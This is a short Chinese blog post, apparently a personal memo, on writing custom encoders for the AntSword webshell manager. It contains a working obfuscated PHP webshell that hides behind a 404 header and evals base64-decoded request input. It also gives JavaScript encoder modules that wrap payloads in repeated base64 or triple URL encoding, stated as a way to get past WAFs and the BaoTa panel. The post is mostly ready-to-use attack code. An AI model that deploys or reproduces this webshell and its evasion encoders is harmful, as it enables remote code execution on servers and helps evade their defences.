蚁剑自写编码器

2020-12-03 20:12:00
备忘 - 蚁剑 - 编码器

ps:水文一篇,权当个人备忘

编码器常见于特殊webshell,如我们往webshell中压多一句base64用以绕过某些waf,那么蚁剑中自带了一些编码器,但在需要如多层base64时内置的编码器往往就不够用了。

base64

一个最简单的base64编码器编写如下:

/**
 * php::base64编码器
 * Create at: 2020/11/21 15:21:10
<?php 
header('HTTP/1.1 404');
class COMI { 
    public $c='';
    function __destruct() {
        return eval(substr($this->c, 0));
    }
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode($post);
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  //原payload
  var payload = data['_'];

  data[pwd] = Buffer.from(payload).toString('base64');

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

我们原payload存在于data['_']中,最终payload存在于data[pwd]中,那么这里就是对原payload进行一次base64后存在最终payload的位置,然后删除原payload。

二次base64 or 多次base64

同样的,下面这个是二次base64编码,我们的原payload存在于data['_']中,那么我们的最终payload存在于data[pwd]中,而pwd就是我们的连接密码,那么可以看出来这里就是将原payload使用Buffer.from(payload).toString('base64')进行了两次base64编码然后再存在data[pwd]中,解码后能够得到如下,即是蚁剑中的payload:

'use strict';

module.exports = (pwd, data, ext={}) => {

  //原payload
  var payload = data['_'];
  payload = Buffer.from(payload).toString('base64');

  data[pwd] = Buffer.from(payload).toString('base64');

  delete data['_'];

  return data;
}

同样的可以写出n次base64编码器来绕waf。

多次url编码

如先前遇到的西湖论剑的newupload可以使用三次url编码来绕宝塔,因此同样需要三次url编码器。

不多说直接上编码器:

'use strict';

function forceUrlEn(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
  //data['_']原有的payload
  const payload = data['_']
  data[pwd] = forceUrlEn(forceUrlEn(forceUrlEn(payload)));
  delete data['_'];
  return data;
}


本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号